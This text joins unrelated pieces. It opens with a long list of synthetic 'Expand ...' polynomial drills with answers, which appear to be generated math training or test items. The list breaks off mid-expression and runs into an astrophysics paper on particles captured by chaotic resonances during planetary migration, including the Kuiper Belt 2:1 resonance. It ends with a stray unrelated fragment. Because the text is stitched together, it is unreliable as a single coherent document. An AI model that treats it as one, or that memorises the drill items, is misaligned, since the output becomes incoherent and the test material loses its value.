Expand (2*b**2 - 3*b**2 + 0*b**2)*(4*b + b - 3*b) - 13*b**3 + 7*b**3 - 11*b**3 - 4*b + b + 3*b - 15*b**3 + (-3 - b + 3)*(-6*b**2 + 0*b**2 + 16*b**2).
-44*b**3
Expand (-3*h + 3*h - h)*(-22 - 57 + 16) + 88 - 88 + 37*h.
100*h
Expand -x**2 + 3 - 3 - 1 - 4 - x**2 + 4 + (2*x**2 - 3*x**2 + 0*x**2)*(-4 - 3 + 5) - 4*x**2 - 2 + 2 + 6108*x**2 + 36463 - 36463.
6104*x**2 - 1
Expand 8*b**3 + 81 - 81 + (13*b**2 + 55 - 55)*(3*b - 3*b - 3*b) + 3*b**3 - 13*b**2 + 13*b**2.
-28*b**3
Expand -52 - 15*g**2 + 52 - 4*g**2 + 0*g**2 + 2*g**2 + (0 + 5 - 4)*(2 + 2*g**2 - 2) + 70*g**2 - 35*g**2 + 64*g**2 + (3*g - 2*g - 3*g)*(-4 - g + 4).
86*g**2
Expand (-3*r - 3*r + 5*r)*(17932 + 3990*r + 6948*r - 17932 + 8498*r).
-19436*r**2
Expand (-1109*q**2 + 102*q**3 + q + 1109*q**2)*(-7 - 9 + 6).
-1020*q**3 - 10*q
Expand -19*c**5 - 33*c**5 + 0*c**5 + (-4 + 1 + 6)*(0 + 3 - 2)*(-c**5 + 5*c**4 - 5*c**4).
-55*c**5
Expand (-23208 - 33055 - 29775 - 24530 + 16753 + 16971)*(-4 + 4 + f).
-76844*f
Expand (1 - f - 1)*(10*f**2 - 43 + 43) + (f**2 - 5*f**2 + 2*f**2)*(-189*f - 168*f + 476*f).
-248*f**3
Expand (4*z - 4*z - 2*z**2)*(-39322*z**2 + 99540*z**2 - 46838*z**2).
-26760*z**4
Expand (k**2 - k**2 + k**3)*(-2*k**2 + 2*k**2 - 2*k**2) - 7626 - 4581*k**5 + 7626.
-4583*k**5
Expand (-3*p + 2 - 2 - 3*p - p + 3*p + (5*p - 2*p - p)*(-6 + 2 + 2) - 2*p + 2*p + 2*p)*(551 + 372 + 344).
-7602*p
Expand (8*o**2 + 4*o**2 - 3*o**2)*(o + 0*o + 0*o)*(-3 + 4 - 2)*(-16 - 33 - 69).
1062*o**3
Expand (-3*h + 2*h + 2*h)*(0 - 2*h + 0)*(-1 + 1 - 4)*(4 - 1 - 5)*(59*h - 109*h + 52*h + 46).
-32*h**3 - 736*h**2
Expand 5019*g**3 + 248633124*g - 248633124*g + 1 + g**3 - 1 + (-4 + 4 + g**2)*(g - 3*g + 3*g).
5021*g**3
Expand (-3 + 3 + 1)*(t**2 - 2*t + 2*t) + 2*t**2 - 6*t**2 - t**2 + (285*t - 23390 + 23390)*(t + 1 - 1).
281*t**2
Expand ((-1 + 2 - 3)*(1 - 4 + 0) - 3 - 4 + 5 + 11 + 93 + 0)*((-2*n**2 + 4*n - 4*n)*(0*n**3 - 3*n**3 + n**3) + n**4 - n**4 - n**5).
324*n**5
Expand 0*m + 3*m + 0*m + (-2*m + 4 - 4)*(-4 - 1 + 3) - 3*m + 4*m + m + (-65 + 44 - 29*m + 18)*(0 + 2 + 0 + 6 + 0 + 3 + (1 - 4 + 2)*(3 + 0 - 1)).
-252*m - 27
Expand (-8*g + 22*g + 13*g)*(8*g**3 + 5*g**3 - 6*g**3 + (2 - g**2 - 2)*(0*g + 7*g + 5*g)).
-135*g**4
Expand (-67 + 0 - 21)*(-5 + 1 + 2)*(-2 + 2 - q)*(q**2 + 0*q**2 - 4*q**2).
528*q**3
Expand (19 + 22 - 11)*(255*v + 10 - 110*v - 81*v - 91*v).
-810*v + 300
Expand 3*j - 2*j + 0*j - 2*j - 1 + 1 - j - 2 + 2 + (4 - 2*j - 4)*(-5 + 4 + 3) + 0 + 0 - j - 58*j + 30 - 76*j + 66*j.
-75*j + 30
Expand (0 + 0 - 78*t)*(-t**2 + 2*t**2 - 4*t**2)*(3 - 2*t**2 - 3) + 3*t**5 - 3*t + 3*t.
-465*t**5
Expand (c**2 - 9*c + 9*c)*(-7 - 15 + 0)*(17 - 8 - 1)*(6*c - 2*c + c)*(-1 - 4 + 3).
1760*c**3
Expand (-43 - 15 + 395*y + 58)*(0 + 1 - 3 + (4 - 4 + 2)*(2 - 7 + 3)).
-2370*y
Expand (w - 5*w + 2*w)*(0 - 4 + 3 + (-2 + 0 + 4)*(-2 + 3 + 1) + (4 - 9 + 13)*(3 + 0 - 2)).
-22*w
Expand (1060*y - 240 + 124 + 117)*(5*y + y + 6*y).
12720*y**2 + 12*y
Expand (96 + 103 - 25)*(-16*d - 4*d - 2*d**2 + 1 + 13*d).
-348*d**2 - 1218*d + 174
Expand (-9025 + 228 - 3642 + 418)*(2*f**4 + 0*f**3 + 0*f**3).
-24042*f**4
Expand (0*z - z + 2*z - 4*z + 2*z + z + (-1 + 1 - 2*z)*(2 + 1 - 5) + z + 3*z - 2*z)*(3 - 6 + 1)*(1 - 4 + 4)*(422 - 74 + 155).
-6036*z
Expand 2565 - 2*g**5 + 9*g**4 + 2500*g - 2500*g - 102 + (0*g**3 + 2*g**3 - 3*g**3)*(4*g**2 - g**2 - g**2).
-4*g**5 + 9*g**4 + 2463
Expand -25*w**3 + 3*w**3 - 6*w**3 + (3*w**2 - 5*w**2 + 6*w**2)*(4 - 4 - w) + 0*w**3 - w**3 + 6 - 3.
-33*w**3 + 3
Expand (v - 2 + 2 + (1 - 1 - 2*v)*(4 - 3 + 1) - v + v - 2*v + 6*v - v - 3*v)*(0 + 0 + 6)*(-23*v + 12*v - 23*v).
612*v**2
Expand (-3 - 1 + 6)*(272*j + 294*j + 95*j).
1322*j
Expand (-44 - 76 - 272)*((2 - 3 + 0)*(0*i**2 - 3*i**2 + 4*i**2) - i**2 - i**2 + 4*i**2 + (2 - 4 + 3)*(-2*i**2 + 0*i**2 - 2*i**2) + i - i + i**2).
784*i**2
Expand -n**2 - 2 + 2 + (n - 4*n + 2*n)*((1 + 1 - 3)*(-6*n - 2*n + n) - 63*n + 119*n - 81*n).
17*n**2
Expand -664*u**4 - 32754*u**2 + 32754*u**2 - 3*u**4 + 2*u**4 + 0*u**4 + (0*u + 0*u + 2*u**3)*(4*u - u - 4*u).
-667*u**4
Expand (-2 + 7 - 3)*(-293*o + 326*o - 219*o) - o + 3*o - o.
-371*o
Expand (1 - 14 - 19)*(-g**3 + 7*g**3 - 3*g**3) + 2*g**3 + 3*g**3 + 5*g**2 - g**2.
-91*g**3 + 4*g**2
Expand (7*t - 2*t - 3*t)*(-815 + 19*t + 453 + 416).
38*t**2 + 108*t
Expand (2 - 2 - 2)*(1786 - 5710 + 1992)*(1 - 5*q**2 - 1).
-19320*q**2
Expand (-189*j - 6*j**2 + 189*j)*(1 + 15*j**3 + 8 - 20*j**3).
30*j**5 - 54*j**2
Expand (-9 + 170*o - 169*o - 10)*(-2 + 1 + 2)*(-2 + 1 - 7)*(30 - 11*o - 30).
88*o**2 - 1672*o
Expand (-8 - 3*x + 17 - 6*x - 3*x + 7*x - 2*x + (2*x - 4*x + x)*(-5 + 2 + 2))*(-11*x + 3*x - 4*x).
72*x**2 - 108*x
Expand -q**2 + 1 + 3*q**2 + 308049*q**3 - 306971*q**3 + (0 + 4 - 2)*(q - q**3 - q).
1076*q**3 + 2*q**2 + 1
Expand -k + 9*k - 2*k + (-38*k + 13*k + 16*k)*(-1 + 0 - 1 - 4 + 4 - 1 + 0 + 1 + 0 + (-4 + 3 + 2)*(-4 + 4 + 2) + 3 - 4 + 3) + 0 + 0 + 2*k.
-10*k
Expand (-x**4 + 2*x**4 - 3*x**4)*(-7 - 7 - 1) + (-13*x**2 - 111*x + 111*x)*(x + 8*x**2 - x) + 3*x**4 - 3*x**4 - x**4.
-75*x**4
Expand (2 + 1 - 1)*(-1 + 0 - 1)*(2*j - j + j - 2*j - 2*j + 5*j + (-3*j + 5*j - j)*(0 + 0 + 1) + (25 - 25 - 18*j)*(-3 - 2 + 6)).
56*j
Expand (-23*i + 3*i - 6*i)*(i - 2*i - 8*i) + 0*i**2 - 4*i**2 + i**2.
231*i**2
Expand (i**2 - 6*i**2 + 3*i**2)*(-14 + 4 + 3)*(-4 + 49*i + 4).
686*i**3
Expand (-1 + 0 + 5)*(11 - 21 - 10825*i + 27 - 17).
-43300*i
Expand 34*w**2 - 15*w**2 - 16*w**2 + 4 - 5*w**2 + 10 + 19 - 35 + w**2 + w - w + (4*w**2 + w**2 - 4*w**2)*(1 + 3 - 3) + 0 + 0 + 2*w**2.
2*w**2 - 2
Expand (-34*o**2 - 30*o**2 + 74*o**2)*(-5*o**2 - 7*o**2 + 14*o**2 - 2*o**3).
-20*o**5 + 20*o**4
Expand (1073*z - 409*z + 665*z)*(-2*z + 2*z + 2*z)*(-7*z + z + z).
-13290*z**3
Expand (14 + 25 + 0)*(-2*n**2 + 2*n**2 - 2*n**2 + (-3 + 1 - 1)*(-n**2 - n**2 - 3*n**2)).
507*n**2
Expand (9 - 333 - 2891)*(2*x - 4*x + 4*x).
-6430*x
Expand (2 + 2 - 2 + (5 + 0 - 3)*(3 + 2 - 4) + 0 - 2 + 1 + 2 + 0 - 3 - 3 + 4 + 4 + 4 + 0 + 6)*(30 + 3*p - 30).
51*p
Expand (4 - 4 + j**2)*(-133*j**3 - 82650*j + 82711*j + 21*j**3).
-112*j**5 + 61*j**3
Expand (0 + 0 - 2*m)*(-3*m**4 - m**4 + 2*m**4) + (m + 11 - 7 + 13)*(-11*m + 11*m**4 + 11*m).
15*m**5 + 187*m**4
Expand 3*x**5 + 3*x**5 - x**5 + (3*x**5 + 0*x**4 + 0*x**4)*((-2 - 4 + 4)*(2 - 3 + 0) + 1 - 3 + 3 + (18 + 25 - 13)*(0 - 3 + 0)).
-256*x**5
Expand -5*r**5 + 58*r**2 - 58*r**2 + (r + 5 - 5)*(3*r - 3*r - r**4) - 5*r**4 + 5*r**4 - 12*r**5.
-18*r**5
Expand (32 - 32 - 9*b)*(3 - 3 - b**2)*(32*b**2 + 7*b**2 + 7*b**2).
414*b**5
Expand ((-4 + 5 - 2)*(1 - 2 + 0) - 3 - 1 + 1)*(-19 + 19 - 5*a).
10*a
Expand (-6*j**3 - 2*j**3 + 2*j**3)*(-14*j + 51 - 51)*(-2 + 1 + 3).
168*j**4
Expand (-3 + 1 + 0)*(-16 - 11 + 7)*(-110*a + 68*a + 60*a |
---
abstract: |
Because a chaotic zone can reduce the long timescale capture probabilities and cause catastrophic events such as close encounters with a planet or star during temporary capture, the dynamics of migrating planets is likely to be strongly dependent on the widths of the chaotic zones in their resonances. Previous theoretical work on the resonant capture of particles into mean-motion resonances by orbital migration has been restricted to the study of integrable models. By exploring toy 2 and 4 dimensional drifting Hamiltonian models we illustrate how the structure in phase space of a resonance can be used to generalize this integrable capture theory to include the richer phenomenology of a chaotic resonance. We show that particles are temporarily captured into the chaotic zone of a resonance with fixed shape and width for a time that is approximately given by the width of the chaotic zone divided by the resonance drift rate. Particles can be permanently captured into a drifting chaotic resonance only if they are captured into a growing non-stochastic region. Therefore resonances containing wide chaotic zones have lower permanent capture probabilities than those lacking chaotic zones. We expect large deviations from the predictions of integrable capture theories when the chaotic zone is large and the migration rate is sufficiently long that many Lyapunov times pass while particles are temporarily captured in the resonance.
The 2:1 mean-motion resonance with Neptune in the Kuiper Belt contains a chaotic zone, even when integrated on fairly short timescales such as a million years. Because of the chaotic zone, the capture probability is lower than estimated previously from drifting integrable models. This may offer an explanation for low eccentricity Kuiper Belt objects between 45-47 AU which should have been previously captured in the 2:1 resonance by Neptune’s migration.
author:
- 'A. C. Quillen'
title: The Capture of Particles by Chaotic Resonances During Orbital Migration
---
Introduction
============
Scenarios incorporating the orbital migration of giant planets have been proposed to explain the orbit of Pluto and the eccentricity distribution of Kuiper Belt Objects ([@malhotra]), as well as the small orbital semi-major axes of many of the newly discovered extra-solar planets ([@murray]). A theory of resonant capture exists for well defined adiabatically varying non-chaotic integrable resonant systems (similar to pendulums, [@yoder]; [@henrard]; [@henrard83]). However, it now known that due to multiple resonance overlaps some of the mean-motion resonances in the solar system are in fact chaotic ([@wisdom]; [@holman]; [@murray98]). From their numerical integration, [@tittemore] and [@dermott] found that the chaotic nature of the resonances did influence the capture probabilities of resonances driving the evolution of the Uranian satellites. [@tittemore] showed that the Uranian satellites were temporarily captured into the chaotic zone associated with the separatrix of a resonance. Because chaotic resonances will always temporarily capture particles into their chaotic zones, the dynamics is fundamentally different than that of integrable resonances where no capture takes place unless the phase space volume of the resonance grows. Previous theoretical work on the capture process during orbital migration has been restricted to integrable models (e.g., [@henrard], [@malhotra88], [@borderies]). In this paper, by numerically investigating toy Hamiltonian models, we explore the general problem of capture by chaotic resonances.
In our previous work we investigated numerically the affect of an orbiting giant planet on planetesimals interior to the planet ([@quillen]). We showed that the strong mean-motion resonances captured particles and caused catastrophic events such as ejection by the planet or an impact with the central star. We proposed that because impacts can enrich the metallicity of a star at a time when the star is no longer fully convective, the migration process offers an explanation for the high metallicities of stars with planets discovered via radial velocity searches. The theory of adiabatically varying integrable systems (e.g., [@henrard]; [@malhotra88]; [@borderies]; [@MD]) predicts permanent capture probabilities for integrable mean-motion resonances. However from our simulation we found that particles were often captured only for short periods of time. This was particularly evident in the simulations with slow migration rates. We can try to understand the problem with the understanding that the strong drifting resonances in the problem contain large chaotic zones. As we show below, when there is a chaotic zone, the probability of temporary capture into the resonance is 100%. Because a chaotic zone is incapable of permanently capturing particles in a drifting resonance, we expect that the probability of permanent capture drops as the width of the chaotic zone increases. We expect that the distribution of temporarily capture times and the probability of permanent capture depends on the width and variation of the chaotic zone, the drift rate of the planet, and the distribution of diffusion timescales in the zone.
The Forced Pendulum Analogy
===========================
These phenomena can be illustrated simply with a mathematical model for the forced pendulum. This is a simple two dimensional Hamiltonian system which exhibits the chaos caused by resonant overlap (e.g., [@holman]). The Hamiltonian is $$\begin{aligned}
H(P,\psi)
&=& {1 \over 2} P^2 + K\left[1 + a \cos(\nu t)\right]\cos(\psi) \\
&=& {1 \over 2} P^2 + K\cos(\psi) + {Ka \over 2} \left[
\cos(\psi+\nu t)+ \cos(\psi-\nu t)
\right]
\nonumber\end{aligned}$$ and has resonances at $p = 0,\pm \nu$ with $\psi = \pi$. To drift the resonance we modify the Hamiltonian $$H (P,\psi) = {1 \over 2} P^2 + K\left[1 + a \cos(\nu t)\right]\cos(\psi) + b P.
\label{Ham_2D}$$ For the resonance to migrate or drift, $b$ must be a function of t. We can allow the resonance to grow without changing its shape if we set $\dot{a}=0$ and $\dot{K}>0$..
In Figure 1 we show the result of drifting two different systems, one with a large chaotic zone and the other without. We numerically integrated the above Hamiltonian using a conventional Burlisch-Stoer numerical scheme. Both numerical integrations pertain to systems with constant resonant widths and shapes ($\dot{K},\dot{a} = 0$). Since the size and shape of the resonance does not change with time, the capture probability predicted for a non-chaotic resonance is zero (e.g., [@henrard]). However when the chaotic zone is large, particles can spend a significant amount of time in the chaotic zone associated with the separatrix before passing to the other side of the resonance. We can define an effective width for the chaotic zone as $\Delta P_z = {V_z \over 2\pi}$ where $V_z$ is the volume in phase space of the chaotic zone connected to the separatrix. Particles spend different time periods temporarily captured in the chaotic zone. The distribution of temporary capture times has a lower edge at nearly zero time in the resonance. The mean length of time captured into the resonance is $$\Delta T_c = \Delta P_z / |\dot{b}|$$ when the shape of the resonance is held fixed.
Because the chaotic zone may contain regions with different diffusion timescales, we expect that the final particle distribution will have a dependence on drift rate. To explore this we performed integrations for 3 different drift rates for the system shown on the right hand side of Figure 1. The final particle probability distributions are shown in Figure 2. For the faster drift rates, the final particle distribution is nearly flat, however for the slower drift rates, the distribution is more triangular and has a longer tail. In the longer integrations we expect that particles can be trapped in regions with longer diffusion timescales.
The Probability of Capture
--------------------------
As shown by [@yoder] and [@henrard], we can estimate the capture probability for an adiabatically drifting resonance by considering the volume of phase space per unit time which is passed by the separatrices of the resonance. We are referring to a system with 2 separatrices (the non-chaotic example shown in Figure 1). For $P_+(\psi,t)$ and $P_-(\psi,t)$ the momenta of the upper and lower separatrices as a function of angle and time, the rate of volume swept by the upper separatrix is $B_+$ where $B_+ \equiv \int_0^{2 \pi} {d \over dt} P_+(\psi,t) d\psi$. The growth rate of phase space volume in the resonance is $B_+ - B_-$, where $B_-$ is the corresponding expression for the lower separatrix. Particles swept up by the resonance must either be captured or ejected. The capture rate depends on the ratio of volume increase in the resonance to that swept up by the resonance and so is given by $$P_c = (B_+ - B_-)/ B_+.$$
This is shown with more rigor by [@henrard] for the drifting pendulum (Hamiltonian in equation (\[Ham\_2D\]) restricted to $a=0$). The probability of capture $$P_c =
\left\{
\begin{array}{ccl}
f && {{\rm if} ~ 0<f<1;} \\
1 && {\rm if} ~ f \geq 1
\end{array}
\right\}$$ where $$f = {2 \over 1 - {\pi \over 2}{\dot{b} \over \dot{K}}\sqrt{K}}.
\label{fequal}$$ We have assumed that particles start at large $P$ and the growing resonance ($\dot{K} > 0$) drifts upwards ($\dot{b} <0$). If the resonance shrinks, $\dot{K} \leq 0$, then the permanent capture probability is zero. We have computed permanent capture probabilities for a series of systems with different sized chaotic zones by choosing different values for $a$ in each system. Since we do not allow $a$ to vary in each individual simulation, the shape (not size) of the resonance remains the same while the resonance drifts. For these simulations we set $\dot{K}$ such that when $a=0$ the probability of capture is $P_c = 1$. We see in Figure 3 that the permanent capture probability of the resonance drops when it has an decreasing volume fraction covered by integrable motion or stable islands. The fraction of the resonance covered by islands drops exponentially as $a\to 0$ so the capture probability exponentially approaches 1 for small $a$.
When the resonance contains a chaotic separatrix, we expect its permanent capture probability to differ from that of a resonance of similar shape lacking a chaotic separatrix. In the limit of an entirely chaotic resonance, the resonance cannot permanently capture particles unless the resonance width grows faster than the drift rate and the resonance is effectively stationary. A drifting resonance requires a stable, integrable, non-chaotic, growing island to capture particles. We expect the capture probability to be given by $$P_c ={\dot{V_i}\over B_+}.$$ where $\dot{V_i}$ is the growth rate of the island or islands of non-chaotic phase space volume, and $B_+$ is the rate that particles are swept into the chaotic zone of the resonance. When the volume of the chaotic zone shrinks to zero we recover the formalism of the integrable model.
Escape from the 2:1 resonance in the Kuiper Belt
------------------------------------------------
[@malhotra] proposed that Neptune’s outwards migration was responsible for the capture of Pluto and other Kuiper belt objects into the 3:2 and 2:1 mean-motion resonances with Neptune. Because the capture probability predicted with the integrable formalism is 1 for low eccentricity objects, particles are not expected to escape the 2:1 resonance. The existence of low eccentricity objects between 45-47 AU, just within the 2:1 resonance, has posed a challenge to explain. Nevertheless, the numerical simulations of the migrating major planets by [@malhotra] and [@hahn] showed that particles with initially low eccentricity could pass through this resonance. [@hahn] suggested that the stochastic migration rate of Neptune seen in their simulations might result in particles leaving the 2:1 resonance, however the simulation with a smooth migration by [@malhotra] still showed that low eccentricity particles could avoid capture. Numerical integrations have shown that on long timescales (4 Gyrs) the 2:1 is possibly entirely chaotic ([@renu2000]). Based on our understanding of our toy problems we may be able to offer an alternative explanation for passage of particles through the 2:1 resonance even when Neptune’s migration is smooth.
The numerical simulations of the 2 dimensional toy model we discussed above were in the regime $\nu \sim \omega_0$ where $\omega_0 = \sqrt{K}$ (see equation (\[Ham\_2D\])). This regime is appropriate for the asteroid belt ([@holman]) and for the simulation of inwards orbital migration of a Jovian sized giant planet (as by [@quillen]). However in the Kuiper Belt secular oscillation frequencies are slow compared to the mean-motion resonance oscillation frequencies. If the simple model described by equation(\[Ham\_2D\]) were appropriate we would expect $\nu \ll \omega_0$ and that the resonances are highly overlapped. In this regime on long timescales the resonance is entirely chaotic. However, on short timescales we can consider the resonance to be a slowly varying integrable system. In this case we could use the formalism for calculating capture for slowly varying separatrices (e.g., [@haberman]; [@neishtadt]).
Even though the secular oscillations frequencies are slow in the Kuiper belt, the edges of the resonances are still found numerically to exhibit chaotic motion even on the short timescales of millions of years (e.g., [@morbidelli], [@renu2000]). So the theory of capture in the regime of slowly varying separatrices, is still not applicable to the theory of capture by Kuiper Belt resonances. The numerical integrations (e.g. [@morbidelli] on the 3:2 and [@renu2000] on the 2:1 resonances) show that the problem is not as simple as a simple model of multiple resonances restricted to a few terms and that even on short timescales, the resonances contain fairly wide chaotic zones.
When a resonance contains regions with widely different diffusion timescales, the problem is more complicated than illustrated with our simple 2D model explored above. However if the migration rate is fast compared to the diffusion timescale in a particular region of phase space, we can consider that region to be integrable. This is equivalent to modeling the resonance as a series of overlapped resonances with different frequencies, and ignoring the terms with the slowest frequencies.
If a particle can remain in a region of libration for $10^6-10^7$ years then for orbital migration rates such that the resonance is passed on this timescale ($\Delta a/\dot{a} \sim 10^6-10^7$ years, for $\Delta a$ the width of the resonance and $\dot{a}$ the resonance migration rate) we can consider that region to be integrable, and so capable of capturing particles. For low initial particle eccentricities, $e_{init} < 0.1$, [@renu2000] found that about a fifth of phase space was likely to be chaotic in the 2:1 resonance on fairly short timescales. In other words, [@renu2000] found no regions of stable libration for about 1/5 of possible values for the resonant angle. Even though the integrable model predicts a 100% capture probability for $e_{init} < 0.06$, if 1/5 of the resonance is chaotic, then the capture probability is likely to be only $\sim 4/5$ for migration rates $\sim 10^6 - 10^7$ years. This is one way that low eccentricity objects could pass through the 2:1 resonance, and a possible explanation for low eccentricity Kuiper Belt objects between 45-47 AU which should have been previously captured in the 2:1 resonance by Neptune’s migration.
Following a period of fairly swift migration, it is likely that Neptune underwent migration at a slower rate. For slower migration rates we can consider a larger fraction of the 2:1 resonance to be chaotic and the capture probability will be even smaller. Particles pumped to high eccentricity while caught in the resonance, can subsequently escape. In our previous simulations ([@quillen]) we saw that particles could be temporarily captured, have their eccentricities increase while in the resonance and then could escape with eccentricities that were not neccessarily well above their initial value. Any objects released at high eccentricity from the 2:1 resonance in the Kuiper Belt would not be observed today. Because of their high eccentricities, following escape from the resonance they would be likely to suffer encounters with Neptune. Low eccentricity particles which escaped the 2:1 resonance are likely to remain in stable orbits for the age of the solar system. The remaining objects we expect to find today should either reside in stable high eccentricity regions of the 2:1 resonance or at low eccentricity inside the semi-major axis of this resonance. As the observational constraints on the orbital elements of Kuiper Belt objects improve, we expect it will be possible to numerically explore the validity of this kind of scenario. Because of the different different diffusion timescales in the resonance, such a study may provide constraints on Neptune’s migration rate as a function of time.
The Four Dimensional Analogy
============================
The celestial dynamics problem restricted to the plane containing the planet and sun is a 4 not 2 dimensional problem. Oscillations in semi-major axis are coupled to those in eccentricity. While a particle is temporarily captured into a resonance, large excursions in eccentricity can also take place (as discussed by [@tittemore] and [@dermott]).
To illustrate what happens in the 4 dimensional system we explore a toy model with Hamiltonian similar to that given in equation (27) of [@murray97] $$\begin{aligned}
H(P,\psi;I,\phi) &=&
{1 \over 2} P^2 + K I^q \left[1 + a \cos(\phi)\right]\cos(\psi) + b P
+ \nu I \\
&=&
{1 \over 2} P^2 + K I^q \left[\cos(\psi)
+ {a\over 2} \cos(\psi + \phi)
+ {a\over 2} \cos(\psi - \phi)
\right] + b P
+ \nu I
\nonumber\end{aligned}$$ In the celestial dynamics problem, $I$ is primarily related to the eccentricity of the particle, $P$ to the semi-major axis, $\psi$ corresponds to resonant angle and $\phi$ to the longitude of perihelion. $\nu$ corresponds to the precession frequency and is given by secular theory, and $q$ depends on the order of the resonance. In the celestial dynamics problem, $K$ and $a$ instead of being constants would be functions of the semi-major axis or $P$. If we do a cannonical transformation to variables $\Gamma =kI$; $\theta = (\psi-\phi)/k$ for $k=2q$ then we recover a Hamiltonian in the form $H \propto
{1\over 2} \Gamma^2 + b' \Gamma + K' \Gamma^{k/2} \cos(k\theta) + ..$. This Hamitonian is the integral model often used to estimate capture probabilities into k’th order mean-motion resonances (e.g., [@henrard]; [@malhotra88]; [@borderies]; [@MD]).
An integration of the 4 dimensional Hamiltonian given above with initial conditions $I=1$ so that it is close analogy with the two dimensional analog discussed above, yields phenomenology (see Figure 4) remarkably similar to that we observed in our orbital migration numerical integrations ([@quillen]). We see in Figure 4 that when temporary capture takes places there tends to be an increase in the mean value of $I$. After capture $I_{mean} \sim (H_0-1/2P_0^2)/\nu$ where $H_0$ is the value of the Hamiltonian and $P_0$ is the centre of the resonance when capture takes place. Since excursions in $I$ can take place, resulting in a wider resonance, particles can remain in the resonance for longer times than possible in the two dimensional analog. The resulting momentum probability distributions are broader (shown in Figure 5), particularly when the migration rates are slow. Because $I$ is related to the particle eccentricity, excursions in $I$ represent excursions in eccentricity which could result in catastrophic events such as encounters with a planet or star. If the eccentricity undergoes a random walk once a particle is captured into the resonance (as discussed in the diffusion model by [@murray97]), then when the capture time is long compared to the diffusion timescale, catastrophic events would be more likely to occur. In this situation the dynamics would be strongly dependent upon the planet’s orbital migration rate. [@murray97] discusses the diffusion timescale in terms of the Lyapunov time which for the simulations shown in Figures 4 and 5 is $T_L \sim 2\pi$. The slower drift rate integrations shown in Figure 5 represent cases where particles are trapped for many Lyapunov times. This may explain why their final momentum probability distributions exhibit larger tails.
We now discuss the phenomenology seen in our previous numerical simulations ([@quillen]). Though initial particle eccentricities were fairly low, $e_{init} \sim 0.1$, because we chose planet eccentricities of $e_p = 0.3$ for many of the simulations, the forced eccentricities were high and the mean initial eccentricities tended to be $\sim 0.05-0.3$. The integrable model ([@malhotra88]) predicts a 100% capture probability for a Jupiter mass planet into the 3:1 resonance for eccentricities less than $\epsilon < 0.07$. Therefore we expect fairly low permanent capture probabilities of $0.2-0.5$ into this resonance ([@borderies]). For the 3:1 mean-motion resonance with a Jovian sized planet, the Lyapunov timescale (which is related to the secular oscillation frequency, [@holman]) is about $10^3$ times the planet period. For a resonance width that is about 0.02 the radius of the planet, we expect temporary capture to last a time of $2 \times 10^4$ planet periods which is only 20 Lyapunov times for a migration rates $D_a \equiv P \dot{a}/a = 10^{-6}$ given in units of the initial planet orbital period. For most of the simulations, temporary capture times were fairly short and deviations in eccentricity caused by temporary capture into the chaotic zone were limited. We also did 2 simulations with slower migration rates of $D_a = 3 \times 10^{-7}$. In these simulations particles are expected to remain in the chaotic zone for longer, $\sim 60$ Lyapunov times. In the slower migration simulations we saw more examples of resonances temporarily capturing particles. The probability of capture into the 3:1 (including temporary captures) was larger than that predicted from the integrable theory (using rough numbers from Table 2 of [@quillen]). The simulations showed that some of the temporary captures resulted in catastrophic events such as encounters with the planet or star. As expected from the final momentum distributions shown in Figure 5, in the slower simulations, the passage of the resonances heated the eccentricities and semi-major axis distribution to a larger extent than in the faster migration rate simulations.
We conclude that the chaotic zone in is likely to have the strongest affect for slow migration rates. We expect large deviations from the predictions of integrable capture theories when the chaotic zone is large and the migration rates is sufficiently long that many Lyapunov times pass while particles are temporarily captured in the resonance.
In the simulations shown in Figures 4 and 5, because $K$ and $a$ are constants, the size of the resonance does not change as $P$ varies. If we allowed $K$ and $a$ to be functions of $P$ we could allow the size of the resonant islands to grow as the resonance drifts. This would then would allow the integrable islands in the resonance to capture particles for longer periods of time. The separation between overlapping resonances (here described by $\nu$) is given by secular theory (e.g., [@holman]) and so will not vary quickly once a particle is trapped in one of the integrable islands. However, as the eccentricity grows, the widths of the individual sub-resonances will also grow and the resonances will overlap to a larger degree. We therefore expect the size of the chaotic region to grow after a particle is trapped in the resonance. Because the volume in the integrable islands will at some time shrink instead of growing, particles will eventually escape the resonance. This provides a complete analogy for the process of resonant capture and escape that we saw in our previous simulations ([@quillen]).
Summary and Discussion
======================
By exploring toy Hamiltonian systems we have shown how the capture process is fundamentally different for drifting chaotic resonances than for drifting integrable systems. Previous theoretical work on resonant capture has been limited to integrable models. In this paper, we have illustrated how an understanding of the structure in phase space of a resonance can be used to generalize this integrable theory to include the richer phenomenology of a chaotic resonance.
1\) We have shown that particles are temporarily captured into the chaotic zone of a drifting resonance. For a resonance of fixed shape, the capture time depends on the effective width of the zone and the drift rate. In fact, temporary capture will take place even when the resonant width is shrinking. This is not true in the case of an integrable resonance.
2\) The permanent capture probability of a resonance depends on the ratio of phase space volume growth rate in its integrable islands compared to that swept up by the resonance. This implies that permanent capture probabilities are lower for resonances containing larger chaotic zones than those estimated from drifting integrable models. This offers a possible explanation for the passage of particles through the 2:1 resonance in the Kuiper Belt following migration by Neptune, and for the temporary captures seen in our previous simulations ([@quillen]).
The continued migration of a planet via ejection of planetesimals depends on the fraction of particles remaining after a strong resonance has swept through the disk. Since catastrophic events such as close encounters with a planet or star can take place during temporary resonant capture, and because particles are more likely to escape drifting chaotic resonances, the dynamics of migrating systems may be strongly influenced by this process. We expect the largest deviations from the predictions of integrable capture theories when the chaotic zones are large and migration rates are sufficiently long that many Lyapunov times pass while particles are temporarily captured in the resonance.
3\) The passage of chaotic resonances results in a heating of the particle momentum distribution. The momentum distribution width is increased by the effective momentum width of the chaotic zone. The final momentum distribution shape is dependent on the drift rate.
In this work we have numerically explored some simple drifting Hamiltonian systems. We suspect that the final momentum distributions of a drifting chaotic resonance is sensitive to the the distribution of diffusion times in the resonance. One way to explore this possibility would be to numerically investigate toy models with different structure in their chaotic zones.
In future, by exploring in detail the timescales and structure of solar systems resonances, and comparing the results of numerical simulations with the observed distribution of objects, we suspect that the form of orbital migration of the planets may be constrained. The study of drifting chaotic resonances will also be applied to other fields. Resonances play an important role in the stellar theory of dynamical friction. The possibility that additional heating can be caused by chaotic resonances has not yet been explored. The brightness of some zodiacal and Kuiper Belt dust belts depends on the lifetime for dust particles to remain in resonances. We expect that studies which take into account the phase space structure of solar system resonances may be used to derive better estimates for the lifetime of dust particles in these belts.
This work could not have been carried out without helpful discussions with Matt Holman, Renu Malhotra, Bruce Bayly, Andy Gould, Mark Sykes, Elizabeth Holmes, and John Stansberry. Support for this work was provided by NASA through grant numbers GO-07886.01-96A and GO-07868.01-96A from the Space Telescope Institute, which is operated by the Association of Universities for Research in Astronomy, Incorporated, under NASA contract NAS5-26555.
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Dominican Order
